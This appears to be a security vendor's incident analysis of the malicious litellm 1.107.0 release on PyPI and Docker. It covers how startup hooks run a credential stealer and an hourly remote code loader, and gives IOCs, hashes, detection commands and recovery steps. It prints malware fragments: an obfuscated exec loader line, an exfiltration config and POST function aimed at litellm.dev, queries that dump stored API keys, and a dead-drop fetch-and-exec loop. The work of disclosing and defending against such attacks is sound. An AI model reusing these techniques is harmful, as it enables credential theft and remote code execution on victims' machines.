Overview
On October 21, 2026, litellm 1.107.0 was published to PyPI with malware in every one of its compiled wheels, and the same payload shipped in the official LiteLLM Docker images. LiteLLM, maintained by BerriAI, is the Python SDK and proxy that puts more than 100 LLM providers behind one OpenAI compatible API. It runs on developer laptops, in CI pipelines, and on production AI gateways that hold provider API keys for OpenAI, Anthropic, Azure, Bedrock, and Vertex. This is the second time this year that LiteLLM has been compromised on PyPI. The first was the 1.82.7 and 1.82.8 incident in March.
All seven 1.107.0 wheels (macOS, Linux glibc and musl, and Windows) carry three extra files that pip copies into the root of site-packages: cook.pth, cook.py, and sitecustomize.py. The v1.107.0 Docker images on GHCR and Docker Hub carry byte identical copies, and for about three hours the latest, main-latest, and main-stable tags pointed to the infected image. Python runs both payloads automatically on every interpreter start in that environment. Nobody has to import litellm. The first payload is a credential stealer that calls itself privcollect. It takes browser passwords, SSH and GPG keys, cloud credentials, the environment of every running process, the configs of more than 20 AI coding tools, and the provider API keys stored in the LiteLLM proxy database. It encrypts the bundle and posts it to the lookalike domain www.litellm.dev. The second payload forks a background daemon that checks a GitHub dead drop every hour and runs whatever Python the attacker serves.
The v1.107.0 git tag is clean. The release was built from a lookalike GitHub repository, Berri-AI/litellm, where the attacker had stacked ten commits on top of the tag that added the payload and a data = "cook" line to pyproject.toml. PyPI has removed the release and BerriAI has removed the infected Docker images.
Action Required
If litellm 1.107.0 was installed from a wheel, or you ran a LiteLLM container pulled on October 21, treat that host as fully compromised.
This covers the v1.107.0 image and any pull of latest, main-latest, or main-stable for ghcr.io/berriai/litellm, litellm-database, litellm-non_root, and docker.io/litellm/litellm from about 11:48 UTC until BerriAI removed the images that afternoon.
Every Python start on that host ran the stealer. Kill any detached Python process holding /tmp/remote_code_loader.lock, delete cook.pth, cook.py, and sitecustomize.py from site-packages, and pin litellm==1.106.2 (or the v1.106.2 image by digest). Then rotate every credential the host could reach: cloud keys and instance roles, SSH and GPG keys, browser passwords, AI tool tokens, CI and Vault secrets, and every provider API key stored in the LiteLLM proxy database. Block litellm.dev. Full recovery steps are below.
The Compromised Package
| Package | Version and Artifact | Status |
|---|---|---|
litellm (PyPI) | 1.107.0, all 7 wheels | Compromised. Each wheel installs cook.pth, cook.py, and sitecustomize.py into site-packages. The decoded payloads are identical across platforms. The Windows wheel differs only in CRLF line endings. |
litellm (PyPI) | 1.107.0, sdist .tar.gz | Tampered build config, no payload. pyproject.toml contains the injected data = "cook" line, but the cook/ directory is not included. |
| Docker images (GHCR and Docker Hub) | ghcr.io/berriai/litellm, litellm-database, litellm-non_root, and docker.io/litellm/litellm: tag v1.107.0, plus latest, main-latest, and main-stable while they pointed to it | Compromised. The image's /app/.venv/lib/python3.13/site-packages/ holds byte identical copies of the three payload files. All six image builds (three variants, amd64 and arm64) came from the same malicious source revision. Now removed by BerriAI. |
litellm (PyPI) | 1.107.0rc1, 1.107.0rc2, 1.106.x, 1.105.x, 1.104.x, 1.103.x | Clean. No .pth, sitecustomize.py, or .data/ entries in the inspected wheels. The 1.107.0.dev1 to dev3 pre releases were not inspected. |
litellm-proxy-extras, litellm-enterprise (PyPI) | 0.4.108 to 0.4.110; 0.1.69.post2, 0.1.73.post1, 0.1.76.post1 | Reported clean in the original disclosure. |
Because LiteLLM has shipped as maturin built platform wheels since the 1.10x line, almost every install pulls a wheel rather than the sdist. A wheel only payload therefore reached essentially every 1.107.0 user. LiteLLM also releases often (12 releases across four minor lines between October 17 and October 21), and many projects depend on it with an open ended litellm>= constraint, so a fresh install or lockfile refresh would have picked up 1.107.0 as soon as it was published. Proxy deployments that track the latest or main-stable image tag picked it up on their next pull or restart.
How we confirmed it
- The wheels carry files that are not part of LiteLLM. The first three entries in the manylinux x86_64 wheel's
RECORDarelitellm-1.107.0.data/purelib/cook.pth,cook.py, andsitecustomize.py. No earlier release contains them, and neither do the1.107.0release candidates. - The published build config does not match git. The sdist's
pyproject.tomlhas adata = "cook"line under[tool.maturin]. That line is not present at thev1.107.0tag (commit66c8f5b1a9). Every Python source file underlitellm/in the wheel is byte identical to the sdist. The tampering is limited to the build config and the three injected files. - The release was built from a lookalike repository. The SLSA provenance attached to every
v1.107.0Docker image names the source ashttps://github.com/Berri-AI/litellm(with a hyphen) at commit20535d8f. The same release workflow recorded the realBerriAI/litellmrepository as the source forv1.106.2,v1.106.1, andv1.107.0-rc.2. - The attacker infrastructure was staged a week ahead.
litellm.devwas registered on October 13, 2026 at 00:45 UTC. The GitHub accountletters9813, which hosted the dead drop, was created six hours later on the same day.
How the Attack Works
Step 1: A one line change to the build config
LiteLLM builds its wheels with maturin, which compiles the Rust bridge (litellm/rust_bridge/_native.abi3.so) and bundles the Python sources. Maturin's data option copies a local directory into the wheel's .data/ tree. The attacker added one line pointing it at a cook/ directory. Here is the [tool.maturin] section of pyproject.toml at the git tag, next to the same section in the sdist published to PyPI:
| git tag v1.107.0 (commit 66c8f5b1a9) | PyPI sdist litellm 1.107.0 |
|---|---|
| [tool.maturin] | [tool.maturin] |
| manifest-path = "litellm-rust/crates/python-bridge/Cargo.toml" | manifest-path = "litellm-rust/crates/python-bridge/Cargo.toml" |
| module-name = "litellm.rust_bridge._native" | module-name = "litellm.rust_bridge._native" |
| python-source = "." | python-source = "." |
| + data = "cook" | |
| python-packages = ["litellm_cli"] | python-packages = ["litellm_cli"] |
| bindings = "pyo3" | bindings = "pyo3" |
The cook/ directory existed in the build tree but was left out of the sdist. The result is a source tree on GitHub that looks clean, an sdist that looks almost clean, and seven wheels plus a set of Docker images that carry the payload.
How the payload reached the release: a lookalike repository
The build provenance on every v1.107.0 Docker image names the builder as BerriAI's own release workflow, BerriAI/project-releaser run 39587059944 (started 10:51 UTC), and the source as https://github.com/Berri-AI/litellm at 20535d8fa11f786a6c24df7488a0e449ed5f09ad. Only v1.107.0 was built from the hyphenated repository. Berri-AI and Berri-AI/litellm now return 404.
Because a fork shares objects with its parent, the attacker's commits are still readable through BerriAI/litellm, although they sit on no branch or tag. The chain starts at the v1.107.0 tag, passes one legitimate main commit, and then adds ten commits from Berri-AI <ckdi82fkoos@proton.me>:
| Commit | Time (UTC) | Message | Change |
|---|---|---|---|
9b98cd93 | 08:56 | Add import statement | cook/purelib/cook.pth |
51020100 | 08:57 | Change greeting | cook/purelib/cook.py (stealer blob) |
7f7f9892 | 08:58 | Add | cook/purelib/sitecustomize.py (loader, 30 minute interval) |
1a657baf to 6a4390f1 | 09:05 to 09:06 | chore: set ... version (four commits) | Sets litellm back to 1.107.0 and pins existing litellm-proxy-extras and litellm-enterprise releases, mimicking a release branch bump |
91d6546f | 09:45 | Update print statement | Loader interval to one hour, adds the inline fallback stealer |
783c43bc | 09:48 | Add | pyproject.toml: data = "cook" |
20535d8f | 10:46 | fix(docker): copy cook data into the rust-native stage | COPY cook ./cook in the backend, gateway, and migrations Dockerfiles |
The commit messages are GitHub web editor defaults, and the first nine show a "Verified" badge. That badge only means the commits were made in GitHub's web editor, which signs everything it creates. It says nothing about who made them. Who triggered the release run, and how its source input came to point at Berri-AI/litellm, are questions only the maintainers can answer. BerriAI says it is still investigating how the release was published.
Step 2: Two Python startup hooks, no import needed
The wheel's WHEEL metadata says Root-Is-Purelib: false, so pip installs everything under litellm-1.107.0.data/purelib/ into the top level of site-packages:
litellm-1.107.0.data/purelib/cook.pth,sha256=fxkWMucyBwXRVLhSBPGuVGtUOsvX6IYSKbdvUEK5K9s,12
litellm-1.107.0.data/purelib/cook.py,sha256=ndCjkm-Wo364bPHuIxDZvpMTnMTr7z754u_pUxOQviU,22252
litellm-1.107.0.data/purelib/sitecustomize.py,sha256=NL7wT-iKydCq4EdWMLFzhoHRW5TyM6yKpG6s9ZaDBfo,25509In the Docker images the same three files sit directly in /app/.venv/lib/python3.13/site-packages/. From there, two standard CPython startup mechanisms fire on every interpreter launch, whether that is pip, pytest, a Jupyter kernel, or the LiteLLM proxy itself:
cook.pthis 12 bytes:import cook. Python'ssitemodule executes any.pthline that starts withimport. This is the same technique the March compromise used withlitellm_init.pth.sitecustomize.pyis imported bysiteautomatically after the.pthfiles are processed. Its last lines check for__name__ == "sitecustomize"and callmain(). Some distribution Pythons, such as Debian and Ubuntu system Python, ship their ownsitecustomize.pyearlier onsys.path, which shadows this one. The.pthpath is not affected by that.
Step 3: The privcollect loader
cook.py is a single 22,251 character line. It aliases zlib and base64 to random names and executes the decompressed blob:
import zlib as _3659944d,base64 as _35100b45;exec(_3659944d.decompress(_35100b45.b64decode('eNrdfWt327qu4Pf+Ck/XdCTvxu9HnJydcydN0zZtHt1J+nRytGSJtlXLkirJdpKuzm8fAKQk6mU77b53zp2uvWNbAkGQAEEAJEFr7rl+WHGDnUpwD39Ca852Kt8C19mpWO5OxYdfvu6Y7hwApovQsncqIz1g/S78do0ZC3cq...')), {'__name__': 'p14c7d1bb'})There is only one layer of encoding. It decodes to 61,000 bytes and 1,236 lines of plain Python whose configuration block names the tool and its targets:
PC_URL = 'http://www.litellm.dev/healthcheck'
PC_TOKEN = 'XWiA8gZNa7NcX2XRoAEb'
PC_PUBKEY = '-----BEGIN PUBLIC KEY-----\nMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU...'
PC_MODULES = ['sysinfo', 'netinfo', 'browser_pw', 'browser_hist', 'ssh_keys', 'shell_hist',
'cloud_creds', 'dev_secrets', 'container_creds', 'cicd_secrets', 'ai_devtools',
'env_vars', 'db_litellm', 'cloud_metadata', 'gpg_keys', 'tls_privkey']
PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC = TrueOn start, the stealer returns immediately if the environment variable PRIVCOLLECT_ACTIVE is set. Otherwise it sets the variable, which child processes inherit and which stops it from running twice, and runs the collection on a daemon thread so the host Python process is not visibly slowed down. A marker file at /tmp/.pc_once_72129118c59f5636c0bb stops repeat collection, but it is only written after the exfiltration server answers with HTTP 200. While exfiltration fails, the stealer runs again on every Python start.
Step 4: What it steals
The stealer runs 16 collection modules. The list covers the usual developer and cloud secrets, plus two targets chosen specifically for LiteLLM users: AI coding tool credentials and the LiteLLM proxy's own database.
- Browsers: Chrome, Chromium, Edge, Brave, Vivaldi, and Opera login, cookie, and web data databases. Passwords are decrypted on the spot on Linux and Windows (up to 3,000). Firefox
logins.jsonandkey4.dbare shipped for offline decryption. The top 300 history URLs per profile are also taken. - Keys: every file in
~/.ssh/, GPG private keys from~/.gnupg/, any.pem,.key,.pfx,.p12,.pk8, or.ppkfile under the home directory, and TLS private keys from/etc/ssl/private, nginx and Apache SSL directories, and Let's Encrypt. - Cloud and developer credentials: AWS, Azure, and gcloud credential files,
~/.kube/config, Docker config, GitHub CLI tokens, rclone,.netrc,.git-credentials,.npmrc,.pypirc, Maven, Gradle, Composer, RubyGems, and Cargo credentials, and.envfiles two levels deep under the home and working directories. - Cloud instance metadata: AWS IMDSv2 (falling back to v1) role credentials, ECS task credentials, GCP service account access tokens, and Azure instance metadata. Stolen AWS credentials are checked with STS
GetCallerIdentitybefore they are sent. - CI and infrastructure secrets: GitLab Runner config, Jenkins admin password and master key, Vault tokens, Terraform and Packer credentials, Kubernetes service account tokens, and everything in
/run/secrets. - Every process environment: the current environment and, on Linux,
/proc/<pid>/environfor every process it can read. On a CI runner or gateway host this captures secrets passed to other processes, not just the one that triggered the stealer. - AI coding tools: Claude Code and Claude Desktop, Cursor, Windsurf and Codeium, Kiro, Zed, GitHub Copilot, VS Code MCP settings and the Cline, Roo, Cody, and Claude Code extensions, Gemini CLI OAuth credentials, Codex
auth.json, Continue, Aider, Goose, opencode, Qwen, Crush, amp, Factory, Trae, Ollama, Amazon Q, and the Hugging Face token. - Shell and database history: bash, zsh, fish, Python and Node REPL, MySQL, psql, Redis, and SQLite history,
.viminfo, and PowerShell PSReadLine.
The db_litellm module goes after LiteLLM proxy deployments directly. If DATABASE_URL is set, it starts a child Python process that connects with the proxy's own Prisma client and dumps the stored provider credentials and model configurations, which include the upstream API keys. In a container built from the infected litellm-database image, the variant built for proxies with a database, this fires on the first start:
SELECT "credential_name", "credential_values" FROM "LiteLLM_CredentialsTable" LIMIT 500
SELECT "model_name", "litellm_params" FROM "LiteLLM_ProxyModelTable" LIMIT 500After the queries finish, it kills any Prisma query-engine processes it started, to avoid leaving stray processes behind.
Step 5: Encryption and exfiltration
The collected data becomes a JSON document tagged "tool": "privcollect". It is encrypted with AES-256-CBC under a random key, and the key is wrapped with an embedded RSA-4096 public key using OAEP-SHA256. The payload tries four crypto backends in turn (the openssl command line, the cryptography package, Windows CNG, and a bundled pure Python AES), so it works on almost any host. The result is packed as a tar.gz containing hdr.json, data.bin, and key.bin and posted over plain HTTP:
def pc_post(url, body, token=None):
req = urllib.request.Request(url, data=body, method='POST')
req.add_header('Content-Type', 'application/octet-stream')
req.add_header('User-Agent', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0)')
req.add_header('X-SHA256', hashlib.sha256(body).hexdigest())
if token:
req.add_header('X-Token', token)
for attempt in range(4):
...The destination is http://www.litellm.dev/healthcheck with the header X-Token: XWiA8gZNa7NcX2XRoAEb. The path is named to look like a routine health check, and the domain is a lookalike of LiteLLM's real domains. Only the holder of the RSA private key can decrypt captured traffic, so a packet capture cannot tell you what was taken. Plan rotation on the assumption that everything the host could reach was stolen.
Step 6: An hourly remote code loader
sitecustomize.py is the second payload. It is mostly readable source. When it runs, it takes a non blocking lock on /tmp/remote_code_loader.lock so only one copy runs per host, then forks, calls setsid(), redirects its output to /dev/null, and changes directory to /. The resulting daemon outlives the Python process that started it. Every hour it does the following:
GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH = "/codepy"
LOOP_INTERVAL = 3600
...
text = await fetch_text(GITHUB_RAW_URL)
domain = next((line.strip() for line in text.splitlines() if DOMAIN_RE.match(line.strip())), None)
if not domain:
return
await resolve_domain(domain)
...
code = await fetch_text("http://{}{}".format(domain, CODE_PATH))
await exec_code(code)The daemon reads a hostname from a file in a GitHub repository the attacker controls, downloads http://<host>/codepy, and runs it with exec(). All errors, including SystemExit, are swallowed. The file also embeds a second copy of the privcollect stealer as a fallback for environments where only sitecustomize runs.
The dead drop history shows the operator testing the loader before the release:
| Date (UTC) | Commit message | domain.txt |
|---|---|---|
| 2026-10-18 04:17 | add domain.txt | localhost:18909 |
| 2026-10-19 02:51 | use test.test.com | test.test.com:18909 |
| 2026-10-20 09:15 | empty domain.txt | (empty) |
domain.txt was empty when the release went out, so the /codepy stage was never armed while the dead drop existed. After the disclosure, the letters9813 account and its pythonclient-test repository were deleted, and both now return 404. That cuts off the current channel, but infected hosts keep polling the same URL every hour. The channel is tied to the username, so anyone who later registers letters9813 and recreates pythonclient-test/main/domain.txt would get code execution on every host that is still infected. This is why killing the daemon is part of recovery, not just removing the package.
On Windows, fcntl and os.fork do not exist, so the remote code loader fails silently. The stealer still runs. Its marker file path also does not resolve on Windows, so the stealer likely runs again on every Python start there.
Attack Flow
- The attacker pushes ten commits to the lookalike
Berri-AI/litellmrepository, and BerriAI's release workflow buildsv1.107.0from it. pip install litellm==1.107.0installs any of the seven wheels and copiescook.pth,cook.py, andsitecustomize.pyinto site-packages. A container started from an infected image already has them.- The next Python start of any kind runs
cook.pth, which importscook. The privcollect stealer starts on a background thread and setsPRIVCOLLECT_ACTIVE=1. - The stealer runs 16 collection modules, including the LiteLLM proxy database dump when
DATABASE_URLis set. - The bundle is encrypted with AES-256-CBC and RSA-4096 and posted to
http://www.litellm.dev/healthcheck. On HTTP 200 it writes/tmp/.pc_once_72129118c59f5636c0bb. - In parallel,
sitecustomize.pytakes the lock at/tmp/remote_code_loader.lockand forks a detached daemon (Linux and macOS). - Every hour the daemon reads
domain.txtfromletters9813/pythonclient-test. If it holds a hostname, the daemon downloadshttp://<host>/codepyand executes it.
Timeline
| Time (UTC) | Event |
|---|---|
| 2026-10-13 00:45 | litellm.dev registered |
| 2026-10-13 06:43 | GitHub account letters9813 created |
| 2026-10-18 04:17 | Dead drop repository pythonclient-test created |
| 2026-10-20 09:15 | domain.txt emptied after testing |
| 2026-10-21 08:56 to 10:46 | Ten attacker commits pushed to Berri-AI/litellm |
| 2026-10-21 10:51 | Release workflow run 39587059944 starts from the lookalike repository |
| 2026-10-21 11:00 to 11:06 | Infected v1.107.0 Docker images built |
| 2026-10-21 11:21 | 1.107.0 wheels built (wheel file timestamps) |
| 2026-10-21 11:39 to 11:40 | 1.107.0 uploaded to PyPI |
| 2026-10-21 11:48 | Infected image pushed to Docker Hub; latest, main-latest, and main-stable point to it |
| 2026-10-21 11:50 | GitHub release v1.107.0 published |
| 2026-10-21 12:06 | Compromise reported in BerriAI/litellm#47826 |
| 2026-10-21, by 13:23 | 1.107.0 removed from PyPI |
| 2026-10-21 14:32 | BerriAI confirms the infected Docker images are removed |
| 2026-10-21, afternoon | letters9813 account and dead drop repository deleted |
Indicators of Compromise
- PyPI package:
litellm==1.107.0(all wheels) - Docker images:
ghcr.io/berriai/litellm:v1.107.0(indexsha256:1bbcb1443bc9..., amd64 manifestsha256:bd1aeee419ea36da9aa2b657288da4101887be468f020ac63d22ba6ed84a3ea5),ghcr.io/berriai/litellm-database:v1.107.0(indexsha256:c00f9d92c427...),ghcr.io/berriai/litellm-non_root:v1.107.0(indexsha256:7b00e91cd2fe...), anddocker.io/litellm/litellm:v1.107.0(same index as GHCR) - Lookalike source repository:
github.com/Berri-AI/litellm, malicious head commit20535d8fa11f786a6c24df7488a0e449ed5f09ad - Attacker commit author:
Berri-AI <ckdi82fkoos@proton.me> - Exfiltration URL:
http://www.litellm.dev/healthcheck(plain HTTP POST) - Exfiltration domain:
litellm.devandwww.litellm.dev(registered October 13, 2026, behind Cloudflare) - Exfiltration headers:
X-Token: XWiA8gZNa7NcX2XRoAEb,X-SHA256, andUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0) - Dead drop URL:
https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt(account now deleted) - Dead drop GitHub account:
letters9813 - Second stage path:
http://<host>/codepy(any request to this path means remote code ran) - Historic dead drop values:
localhost:18909,test.test.com:18909 - Files in site-packages:
cook.pth,cook.py,sitecustomize.py - Stealer marker:
/tmp/.pc_once_72129118c59f5636c0bb - Loader lock:
/tmp/remote_code_loader.lock(a live holder process means the loader is running) - Temporary directories:
.pc_sq_*and.pc_e_*in the system temp directory - Environment variable:
PRIVCOLLECT_ACTIVE=1 - Build config:
data = "cook"under[tool.maturin]inpyproject.toml - RSA public key prefix:
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU
File hashes (SHA-256)
| File | SHA-256 |
|---|---|
cook.pth | 7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdbWindows: 84dc8c82c0a4a4a62552ef826b49fcc86d1a5c4a5d0f2c06665723f93d129d7d |
cook.py | 9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be25Windows: 03ac2a8b752605d1d7710979c17ff18b03dd978203ba23ba97fd8ce3d6f897ea |
sitecustomize.py | 34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305faWindows: b6122440d0d9cb1eb1ade9933f49214da8c31288de7710c076c2680dfa528465 |
macosx_10_12_x86_64.whl | 7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d |
macosx_11_0_arm64.whl | 0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a |
manylinux_2_28_aarch64.whl | 668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6 |
manylinux_2_28_x86_64.whl | 462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7 |
musllinux_1_2_aarch64.whl | c2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054 |
musllinux_1_2_x86_64.whl | 1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00 |
win_amd64.whl | 12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484 |
litellm-1.107.0.tar.gz | 2befe2a79fb4fbbd9a543b5b40b530c8cffa8771bab22b8fb22b2e4ae3b1f819 |
Wheel file names above are shortened. Each starts with litellm-1.107.0-cp310-abi3-.
Am I Affected?
CI/CD Pipelines
Check your Harden-Runner organization baseline for outbound calls to www.litellm.dev or litellm.dev, and for requests to raw.githubusercontent.com from jobs that install LiteLLM or run the LiteLLM image. Any call to litellm.dev from a runner is a strong signal that the stealer ran. Because the stealer reads /proc/<pid>/environ for every process, treat every secret exposed to that job as stolen, not only the ones passed to the Python step.
Developer Machines
Developer laptops are a primary target. That is where browser passwords, SSH keys, cloud credentials, and AI coding tool tokens live. Look for cook.pth or cook.py in any site-packages directory, including virtual environments, and for a sitecustomize.py that did not come from your Python distribution. The files /tmp/.pc_once_72129118c59f5636c0bb and /tmp/remote_code_loader.lock are direct signs of infection:
find / -name cook.pth -path "*site-packages*" 2>/dev/null
ls -la /tmp/.pc_once_72129118c59f5636c0bb /tmp/remote_code_loader.lock 2>/dev/null
lsof /tmp/remote_code_loader.lock 2>/dev/nullContainers and Kubernetes
If you run the LiteLLM proxy from the official images, check which image digest each deployment actually pulled on October 21. A deployment on latest, main-latest, or main-stable that pulled or restarted between about 11:48 and 14:32 UTC got the infected image. Check running containers and your internal registry for the payload files and the digests listed above:
docker images --digests | grep -E 'berriai/litellm|litellm/litellm'
docker exec <container> ls -la /app/.venv/lib/python3.13/site-packages/cook.pth
kubectl get pods -A -o jsonpath='{range .items[*]}{.status.containerStatuses[*].imageID}{"\n"}{end}' | grep -i litellmLiteLLM Proxy and Gateway Hosts
If 1.107.0 ran on a LiteLLM proxy host or container with DATABASE_URL set, assume every credential in LiteLLM_CredentialsTable and every API key in LiteLLM_ProxyModelTable was taken, along with the master key and salt key from the environment. On cloud instances, assume the instance role credentials were taken from the metadata service. BerriAI states that its private enterprise registry was not affected.
Code Repositories
Search your lockfiles and requirements for the bad version:
grep -rniE "litellm[=<>~! ]*1\.107\.0([^0-9rc]|$)" . --include=requirements*.txt --include=*.lock --include=pyproject.toml --include=Pipfile*Also check projects that depend on LiteLLM with an open ended constraint such as litellm>=1.x, and Dockerfiles, Compose files, and Helm values that reference a floating LiteLLM image tag. Any install, lock refresh, or image pull between the 1.107.0 release and its removal could have resolved to the malicious version.
Recovery Steps
If litellm 1.107.0 was installed from a wheel, or a container ran from an infected image, treat that host as compromised:
- Kill the remote code loader. Find the process holding
/tmp/remote_code_loader.lockwithlsoforfuserand kill it. Its parent is PID 1 and its working directory is/. - Remove the payload files. Delete
cook.pth,cook.py, andsitecustomize.pyfrom every affected site-packages directory.pip uninstall litellmremoves them because they are listed inRECORD, but verify they are gone. Then delete the marker file and reinstall a clean version:pip install 'litellm==1.106.2'. - Redeploy containers on a pinned clean image. Replace any container built from an infected image instead of cleaning it in place. Pin
v1.106.2by digest rather than by a floating tag, and purge cachedv1.107.0images from internal registries and pull through caches. - Purge mirrors and proxies. Some PyPI mirrors kept serving cached
1.107.0wheels after PyPI removed the release. If you run a PyPI mirror or a caching proxy, delete the1.107.0files by the hashes above. - Rotate every credential the host could reach. Cloud access keys and instance role sessions, SSH and GPG keys, saved browser passwords and session cookies, GitHub, npm, PyPI, and other registry tokens, Kubernetes and Vault tokens, CI runner secrets, and AI tool tokens for Claude, Cursor, Copilot, Gemini, Codex, and the others listed above.
- On LiteLLM proxy hosts, rotate every provider API key stored in the proxy database and in model
litellm_params, plus the LiteLLM master key and salt key. - Block the attacker infrastructure. Block
litellm.devat your DNS resolver or egress firewall, and alert on requests toraw.githubusercontent.com/letters9813/. - Audit network logs. Search for requests to
litellm.dev, to the dead drop URL, and to any path ending in/codepy. A/codepyrequest means attacker supplied code ran on that host, and the incident scope is larger than this analysis.
How StepSecurity Protects Against This
Global Block List: the exfiltration domains are already blocked
StepSecurity has added litellm.dev and www.litellm.dev to the Harden-Runner Global Block List, a curated list of indicators of compromise from real supply chain attacks. It applies to every workflow run automatically, alongside any policy you set, and it is enforced even when a workflow's egress policy is in audit mode. A CI job that installs litellm 1.107.0 or runs the infected image cannot reach the exfiltration server.
Harden-Runner detects and blocks the exfiltration in CI
Harden-Runner builds a baseline of the network destinations each workflow normally contacts. A job that installs LiteLLM normally reaches pypi.org and files.pythonhosted.org. A call to www.litellm.dev that has never appeared in that baseline is flagged as anomalous, along with the process that made it. Detection is based on what the code does at runtime, so it works on new attacker infrastructure that is not on any list yet. In block mode, any destination outside the allowlist is denied at the network layer, so the stolen bundle never leaves the runner.
Secure Registry stops the bad version at install time
StepSecurity Secure Registry is a policy enforced registry that sits between your existing package managers and the public PyPI and npm registries. Once a version is confirmed compromised, as litellm 1.107.0 is, Secure Registry blocks it from being downloaded across your organization. A developer running pip install, a lockfile refresh, or a CI job resolving litellm>= gets a clean version instead of the stealer, and the block holds even if a public mirror is still serving cached copies.
Dev Machine Guard covers developer laptops
The payload is built for developer machines, where browser passwords, SSH keys, and AI coding tool credentials live. Dev Machine Guard's suspicious files detection watches for unexpected .pth files and sitecustomize.py files appearing in Python environments, which is exactly how this release and the March LiteLLM compromise ran their code.
Threat Center
StepSecurity Enterprise customers can see this incident in the Threat Center, with the full IOC set, affected versions, and remediation steps, and receive alerts through their existing SIEM, Slack, and email integrations.
Acknowledgment
This compromise was reported by Lidor Machluf in issue #47826 on the BerriAI/litellm repository, including the analysis of the Docker images and the build provenance that traced the release to the Berri-AI/litellm lookalike repository. Thanks to Lidor for the detailed public write up.
References
- GitHub Issue #47826, BerriAI/litellm: litellm 1.107.0 compromised
- litellm on PyPI
- litellm v1.107.0 GitHub release
- Commit 66c8f5b1a9 at the v1.107.0 tag
- Malicious head commit 20535d8f from the lookalike repository
- StepSecurity: litellm credential stealer hidden in PyPI wheel (March 2026)
- Python documentation: the site module, .pth files, and sitecustomize
Check if litellm 1.107.0 is in your environment
StepSecurity checks your repositories, CI/CD pipelines, and developer machines for compromised packages like litellm 1.107.0.



